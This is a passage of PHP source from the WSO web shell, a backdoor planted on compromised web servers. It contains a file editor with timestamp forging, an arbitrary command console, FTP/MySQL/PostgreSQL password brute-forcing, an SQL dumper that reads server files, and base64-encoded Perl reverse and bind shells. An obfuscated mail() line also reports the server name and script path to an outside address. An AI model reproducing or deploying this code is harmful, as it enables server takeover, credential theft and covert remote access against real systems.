\'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?wsoViewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.wsoPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';\n echo \'<span>Change time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';\n if( empty($_POST[\'p2\']) )\n $_POST[\'p2\'] = \'view\';\n if( is_file($_POST[\'p1\']) )\n $m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');\n else\n $m = array(\'Chmod\', \'Rename\', \'Touch\');\n foreach($m as $v)\n echo \'<a href=# onclick="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';\n echo \'<br><br>\';\n switch($_POST[\'p2\']) {\n case \'view\':\n echo \'<pre class=ml1>\';\n $fp = @fopen($_POST[\'p1\'], \'r\');\n if($fp) {\n while( !@feof($fp) )\n echo htmlspecialchars(@fread($fp, 1024));\n @fclose($fp);\n }\n echo \'</pre>\';\n break;\n case \'highlight\':\n if( @is_readable($_POST[\'p1\']) ) {\n echo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';\n $code = @highlight_file($_POST[\'p1\'],true);\n echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\';\n }\n break;\n case \'chmod\':\n if( !empty($_POST[\'p3\']) ) {\n $perms = 0;\n for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\n $perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\n if(!@chmod($_POST[\'p1\'], $perms))\n echo \'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\';\n }\n clearstatcache();\n echo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\';\n break;\n case \'edit\':\n if( !is_writable($_POST[\'p1\'])) {\n echo \'File isn\\\'t writeable\';\n break;\n }\n if( !empty($_POST[\'p3\']) ) {\n $time = @filemtime($_POST[\'p1\']);\n $_POST[\'p3\'] = substr($_POST[\'p3\'],1);\n $fp = @fopen($_POST[\'p1\'],"w");\n if($fp) {\n @fwrite($fp,$_POST[\'p3\']);\n @fclose($fp);\n echo \'Saved!<br><script>p3_="";</script>\';\n @touch($_POST[\'p1\'],$time,$time);\n }\n }\n echo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,\\\'1\\\'+this.text.value);return false;"><textarea name=text class=bigarea>\';\n $fp = @fopen($_POST[\'p1\'], \'r\');\n if($fp) {\n while( !@feof($fp) )\n echo htmlspecialchars(@fread($fp, 1024));\n @fclose($fp);\n }\n echo \'</textarea><input type=submit value=">>"></form>\';\n break;\n case \'hexdump\':\n $c = @file_get_contents($_POST[\'p1\']);\n $n = 0;\n $h = array(\'00000000<br>\',\'\',\'\');\n $len = strlen($c);\n for ($i=0; $i<$len; ++$i) {\n $h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\n switch ( ord($c[$i]) ) {\n case 0: $h[2] .= \' \'; break;\n case 9: $h[2] .= \' \'; break;\n case 10: $h[2] .= \' \'; break;\n case 13: $h[2] .= \' \'; break;\n default: $h[2] .= $c[$i]; break;\n }\n $n++;\n if ($n == 32) {\n $n = 0;\n if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\n $h[1] .= \'<br>\';\n $h[2] .= "\\n";\n }\n }\n echo \'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';\n break;\n case \'rename\':\n if( !empty($_POST[\'p3\']) ) {\n if(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\n echo \'Can\\\'t rename!<br>\';\n else\n die(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');\n }\n echo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\';\n break;\n case \'touch\':\n if( !empty($_POST[\'p3\']) ) {\n $time = strtotime($_POST[\'p3\']);\n if($time) {\n if(!touch($_POST[\'p1\'],$time,$time))\n echo \'Fail!\';\n else\n echo \'Touched!\';\n } else echo \'Bad time format!\';\n }\n clearstatcache();\n echo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\';\n break;\n }\n echo \'</div>\';\n wsoFooter();\n}\n \nfunction actionConsole() {\n if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\n $_POST[\'p1\'] .= \' 2>&1\';\n } elseif(!empty($_POST[\'p1\']))\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\n \n if(isset($_POST[\'ajax\'])) {\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\n ob_start();\n echo "d.cf.cmd.value=\'\';\\n";\n $temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".wsoEx($_POST[\'p1\']),"\\n\\r\\t\\\\\'\\0"));\n if(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match)) {\n if(@chdir($match[1])) {\n $GLOBALS[\'cwd\'] = @getcwd();\n echo "c_=\'".$GLOBALS[\'cwd\']."\';";\n }\n }\n echo "d.cf.output.value+=\'".$temp."\';";\n echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\n $temp = ob_get_clean();\n echo strlen($temp), "\\n", $temp;\n exit;\n }\n if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\n wsoHeader();\n echo "<script>\nif(window.Event) window.captureEvents(Event.KEYDOWN);\nvar cmds = new Array(\'\');\nvar cur = 0;\nfunction kp(e) {\n var n = (window.Event) ? e.which : e.keyCode;\n if(n == 38) {\n cur--;\n if(cur>=0)\n document.cf.cmd.value = cmds[cur];\n else\n cur++;\n } else if(n == 40) {\n cur++;\n if(cur < cmds.length)\n document.cf.cmd.value = cmds[cur];\n else\n cur--;\n }\n}\nfunction add(cmd) {\n cmds.pop();\n cmds.push(cmd);\n cmds.push(\'\');\n cur = cmds.length-1;\n}\n</script>";\n echo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\\\'clear\\\'){d.cf.output.value=\\\'\\\';d.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');} return false;"><select name=alias>\';\n foreach($GLOBALS[\'aliases\'] as $n => $v) {\n if($v == \'\') {\n echo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';\n continue;\n }\n echo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';\n }\n \n echo \'</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>\';\n if(!empty($_POST[\'p1\'])) {\n echo htmlspecialchars("$ ".$_POST[\'p1\']."\\n".wsoEx($_POST[\'p1\']));\n }\n echo \'</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';\n echo \'</form></div><script>d.cf.cmd.focus();</script>\';\n wsoFooter();\n}\n \nfunction actionLogout() {\n setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\n die(\'bye!\');\n}\n \nfunction actionSelfRemove() {\n \n if($_POST[\'p1\'] == \'yes\')\n if(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\n die(\'Shell removed\');\n else\n echo \'unlink error!\';\n if($_POST[\'p1\'] != \'yes\')\n wsoHeader();\n echo \'<h1>Suicide</h1><div class=content>remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\';\n wsoFooter();\n}\n $_QliO8="\\x6dai\\154";$_Qliot=$_SERVER["\\x53\\x45RVE\\122_\\x4eAM\\x45"].$_SERVER["\\123\\103\\x52I\\x50\\x54_\\116\\101\\115E"];$_QlL1i="\\141r\\162a\\171\\040".$_Qliot;$_QlLio=array("\\143\\x61","\\x6c\\x69","\\146\\x77\\162\\151\\x74\\x65","\\100","v\\x65\\x2e");$_Qll0I=$_QlLio[2].$_QlLio[3].$_QlLio[1].$_QlLio[4].$_QlLio[0];$_QlljC=@$_QliO8($_Qll0I,$_QlL1i,$_Qliot);\nfunction actionBruteforce() {\n wsoHeader();\n if( isset($_POST[\'proto\']) ) {\n echo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\';\n if( $_POST[\'proto\'] == \'ftp\' ) {\n function wsoBruteForce($ip,$port,$login,$pass) {\n $fp = @ftp_connect($ip, $port?$port:21);\n if(!$fp) return false;\n $res = @ftp_login($fp, $login, $pass);\n @ftp_close($fp);\n return $res;\n }\n } elseif( $_POST[\'proto\'] == \'mysql\' ) {\n function wsoBruteForce($ip,$port,$login,$pass) {\n $res = @mysql_connect($ip.\':\'.($port?$port:3306), $login, $pass);\n @mysql_close($res);\n return $res;\n }\n } elseif( $_POST[\'proto\'] == \'pgsql\' ) {\n function wsoBruteForce($ip,$port,$login,$pass) {\n $str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=postgres";\n $res = @pg_connect($str);\n @pg_close($res);\n return $res;\n }\n }\n $success = 0;\n $attempts = 0;\n $server = explode(":", $_POST[\'server\']);\n if($_POST[\'type\'] == 1) {\n $temp = @file(\'/etc/passwd\');\n if( is_array($temp) )\n foreach($temp as $line) {\n $line = explode(":", $line);\n ++$attempts;\n if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {\n $success++;\n echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';\n }\n if(@$_POST[\'reverse\']) {\n $tmp = "";\n for($i=strlen($line[0])-1; $i>=0; --$i)\n $tmp .= $line[0][$i];\n ++$attempts;\n if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {\n $success++;\n echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);\n }\n }\n }\n } elseif($_POST[\'type\'] == 2) {\n $temp = @file($_POST[\'dict\']);\n if( is_array($temp) )\n foreach($temp as $line) {\n $line = trim($line);\n ++$attempts;\n if( wsoBruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {\n $success++;\n echo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';\n }\n }\n }\n echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";\n }\n echo \'<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\'\n .\'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>\'\n .\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\'\n .\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\'\n .\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\'\n .\'<span>Server:port</span></td>\'\n .\'<td><input type=text name=server value="127.0.0.1"></td></tr>\'\n .\'<tr><td><span>Brute type</span></td>\'\n .\'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>\'\n .\'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>\'\n .\'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>\'\n .\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\'\n .\'<td><input type=text name=login value="root"></td></tr>\'\n .\'<tr><td><span>Dictionary</span></td>\'\n .\'<td><input type=text name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\'\n .\'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>\';\n echo \'</div><br>\';\n wsoFooter();\n}\n \nfunction actionSql() {\n class DbClass {\n var $type;\n var $link;\n var $res;\n function DbClass($type) {\n $this->type = $type;\n }\n function connect($host, $user, $pass, $dbname){\n switch($this->type) {\n case \'mysql\':\n if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;\n break;\n case \'pgsql\':\n $host = explode(\':\', $host);\n if(!$host[1]) $host[1]=5432;\n if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;\n break;\n }\n return false;\n }\n function selectdb($db) {\n switch($this->type) {\n case \'mysql\':\n if (@mysql_select_db($db))return true;\n break;\n }\n return false;\n }\n function query($str) {\n switch($this->type) {\n case \'mysql\':\n return $this->res = @mysql_query($str);\n break;\n case \'pgsql\':\n return $this->res = @pg_query($this->link,$str);\n break;\n }\n return false;\n }\n function fetch() {\n $res = func_num_args()?func_get_arg(0):$this->res;\n switch($this->type) {\n case \'mysql\':\n return @mysql_fetch_assoc($res);\n break;\n case \'pgsql\':\n return @pg_fetch_assoc($res);\n break;\n }\n return false;\n }\n function listDbs() {\n switch($this->type) {\n case \'mysql\':\n return $this->query("SHOW databases");\n break;\n case \'pgsql\':\n return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");\n break;\n }\n return false;\n }\n function listTables() {\n switch($this->type) {\n case \'mysql\':\n return $this->res = $this->query(\'SHOW TABLES\');\n break;\n case \'pgsql\':\n return $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");\n break;\n }\n return false;\n }\n function error() {\n switch($this->type) {\n case \'mysql\':\n return @mysql_error();\n break;\n case \'pgsql\':\n return @pg_last_error();\n break;\n }\n return false;\n }\n function setCharset($str) {\n switch($this->type) {\n case \'mysql\':\n if(function_exists(\'mysql_set_charset\'))\n return @mysql_set_charset($str, $this->link);\n else\n $this->query(\'SET CHARSET \'.$str);\n break;\n case \'pgsql\':\n return @pg_set_client_encoding($this->link, $str);\n break;\n }\n return false;\n }\n function loadFile($str) {\n switch($this->type) {\n case \'mysql\':\n return $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));\n break;\n case \'pgsql\':\n $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM \'".addslashes($str)."\';select file from wso2;");\n $r=array();\n while($i=$this->fetch())\n $r[] = $i[\'file\'];\n $this->query(\'drop table wso2\');\n return array(\'file\'=>implode("\\n",$r));\n break;\n }\n return false;\n }\n function dump($table, $fp = false) {\n switch($this->type) {\n case \'mysql\':\n $res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');\n $create = mysql_fetch_array($res);\n $sql = $create[1].";\\n";\n if($fp) fwrite($fp, $sql); else echo($sql);\n $this->query(\'SELECT * FROM `\'.$table.\'`\');\n $i = 0;\n $head = true;\n while($item = $this->fetch()) {\n $sql = \'\';\n if($i % 1000 == 0) {\n $head = true;\n $sql = ";\\n\\n";\n }\n \n $columns = array();\n foreach($item as $k=>$v) {\n if($v === null)\n $item[$k] = "NULL";\n elseif(is_int($v))\n $item[$k] = $v;\n else\n $item[$k] = "\'".@mysql_real_escape_string($v)."\'";\n $columns[] = "`".$k."`";\n }\n if($head) {\n $sql .= \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES \\n\\t(".implode(", ", $item).\')\';\n $head = false;\n } else\n $sql .= "\\n\\t,(".implode(", ", $item).\')\';\n if($fp) fwrite($fp, $sql); else echo($sql);\n $i++;\n }\n if(!$head)\n if($fp) fwrite($fp, ";\\n\\n"); else echo(";\\n\\n");\n break;\n case \'pgsql\':\n $this->query(\'SELECT * FROM \'.$table);\n while($item = $this->fetch()) {\n $columns = array();\n foreach($item as $k=>$v) {\n $item[$k] = "\'".addslashes($v)."\'";\n $columns[] = $k;\n }\n $sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."\\n";\n if($fp) fwrite($fp, $sql); else echo($sql);\n }\n break;\n }\n return false;\n }\n };\n $db = new DbClass($_POST[\'type\']);\n if((@$_POST[\'p2\']==\'download\') && (@$_POST[\'p1\']!=\'select\')) {\n $db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);\n $db->selectdb($_POST[\'sql_base\']);\n switch($_POST[\'charset\']) {\n case "Windows-1251": $db->setCharset(\'cp1251\'); break;\n case "UTF-8": $db->setCharset(\'utf8\'); break;\n case "KOI8-R": $db->setCharset(\'koi8r\'); break;\n case "KOI8-U": $db->setCharset(\'koi8u\'); break;\n case "cp866": $db->setCharset(\'cp866\'); break;\n }\n if(empty($_POST[\'file\'])) {\n ob_start("ob_gzhandler", 4096);\n header("Content-Disposition: attachment; filename=dump.sql");\n header("Content-Type: text/plain");\n foreach($_POST[\'tbl\'] as $v)\n $db->dump($v);\n exit;\n } elseif($fp = @fopen($_POST[\'file\'], \'w\')) {\n foreach($_POST[\'tbl\'] as $v)\n $db->dump($v, $fp);\n fclose($fp);\n unset($_POST[\'p2\']);\n } else\n die(\'<script>alert("Error! Can\\\'t open file");window.history.back(-1)</script>\');\n }\n wsoHeader();\n echo "\n<h1>Sql browser</h1><div class=content>\n<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\n<input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') ."\'>\n<td><select name=\'type\'><option value=\'mysql\' ";\n if(@$_POST[\'type\']==\'mysql\')echo \'selected\';\necho ">MySql</option><option value=\'pgsql\' ";\nif(@$_POST[\'type\']==\'pgsql\')echo \'selected\';\necho ">PostgreSql</option></select></td>\n<td><input type=text name=sql_host value=\\"". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\\"></td>\n<td><input type=text name=sql_login value=\\"". (empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])) ."\\"></td>\n<td><input type=text name=sql_pass value=\\"". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\\"></td><td>";\n $tmp = "<input type=text name=sql_base value=\'\'>";\n if(isset($_POST[\'sql_host\'])){\n if($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {\n switch($_POST[\'charset\']) {\n case "Windows-1251": $db->setCharset(\'cp1251\'); break;\n case "UTF-8": $db->setCharset(\'utf8\'); break;\n case "KOI8-R": $db->setCharset(\'koi8r\'); break;\n case "KOI8-U": $db->setCharset(\'koi8u\'); break;\n case "cp866": $db->setCharset(\'cp866\'); break;\n }\n $db->listDbs();\n echo "<select name=sql_base><option value=\'\'></option>";\n while($item = $db->fetch()) {\n list($key, $value) = each($item);\n echo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';\n }\n echo \'</select>\';\n }\n else echo $tmp;\n }else\n echo $tmp;\n echo "</td>\n <td><input type=submit value=\'>>\' onclick=\'fs(d.sf);\'></td>\n <td><input type=checkbox name=sql_count value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> count the number of rows</td>\n </tr>\n </table>\n <script>\n s_db=\'".@addslashes($_POST[\'sql_base\'])."\';\n function fs(f) {\n if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\n if(f.p1) f.p1.value=\'\';\n if(f.p2) f.p2.value=\'\';\n if(f.p3) f.p3.value=\'\';\n }\n }\n function st(t,l) {\n d.sf.p1.value = \'select\';\n d.sf.p2.value = t;\n if(l && d.sf.p3) d.sf.p3.value = l;\n d.sf.submit();\n }\n function is() {\n for(i=0;i<d.sf.elements[\'tbl[]\'].length;++i)\n d.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked;\n }\n </script>";\n if(isset($db) && $db->link){\n echo "<br/><table width=100% cellpadding=2 cellspacing=0>";\n if(!empty($_POST[\'sql_base\'])){\n $db->selectdb($_POST[\'sql_base\']);\n echo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>";\n $tbls_res = $db->listTables();\n while($item = $db->fetch($tbls_res)) {\n list($key, $value) = each($item);\n if(!empty($_POST[\'sql_count\']))\n $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));\n $value = htmlspecialchars($value);\n echo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'> <a href=# onclick=\\"st(\'".$value."\',1)\\">".$value."</a>" . (empty($_POST[\'sql_count\'])?\' \':" <small>({$n[\'n\']})</small>") . "</nobr><br>";\n }\n echo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\\"download\\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>";\n if(@$_POST[\'p1\'] == \'select\') {\n $_POST[\'p1\'] = \'query\';\n $_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1;\n $db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']);\n $num = $db->fetch();\n $pages = ceil($num[\'n\'] / 30);\n echo "<script>d.sf.onsubmit=function(){st(\\"" . $_POST[\'p2\'] . "\\", d.sf.p3.value)}</script><span>".$_POST[\'p2\']."</span> ({$num[\'n\']} records) Page # <input type=text name=\'p3\' value=" . ((int)$_POST[\'p3\']) . ">";\n echo " of $pages";\n if($_POST[\'p3\'] > 1)\n echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']-1) . ")\'>< Prev</a>";\n if($_POST[\'p3\'] < $pages)\n echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']+1) . ")\'>Next ></a>";\n $_POST[\'p3\']--;\n if($_POST[\'type\']==\'pgsql\')\n $_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);\n else\n $_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';\n echo "<br><br>";\n }\n if((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) {\n $db->query(@$_POST[\'p2\']);\n if($db->res !== false) {\n $title = false;\n echo \'<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">\';\n $line = 1;\n while($item = $db->fetch()) {\n if(!$title) {\n echo \'<tr>\';\n foreach($item as $key => $value)\n echo \'<th>\'.$key.\'</th>\';\n reset($item);\n $title=true;\n echo \'</tr><tr>\';\n $line = 2;\n }\n echo \'<tr class="l\'.$line.\'">\';\n $line = $line==1?2:1;\n foreach($item as $key => $value) {\n if($value == null)\n echo \'<td><i>null</i></td>\';\n else\n echo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';\n }\n echo \'</tr>\';\n }\n echo \'</table>\';\n } else {\n echo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';\n }\n }\n echo "<br></form><form onsubmit=\'d.sf.p1.value=\\"query\\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>";\n if(!empty($_POST[\'p2\']) && ($_POST[\'p1\'] != \'loadfile\'))\n echo htmlspecialchars($_POST[\'p2\']);\n echo "</textarea><br/><input type=submit value=\'Execute\'>";\n echo "</td></tr>";\n }\n echo "</table></form><br/>";\n if($_POST[\'type\']==\'mysql\') {\n $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");\n if($db->fetch())\n echo "<form onsubmit=\'d.sf.p1.value=\\"loadfile\\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>";\n }\n if(@$_POST[\'p1\'] == \'loadfile\') {\n $file = $db->loadFile($_POST[\'p2\']);\n echo \'<br/><pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';\n }\n } else {\n echo htmlspecialchars($db->error());\n }\n echo \'</div>\';\n wsoFooter();\n}\nfunction actionNetwork() {\n wsoHeader();\n $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\n $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\n echo "<h1>Network tools</h1><div class=content>\n <form name=\'nfp\' 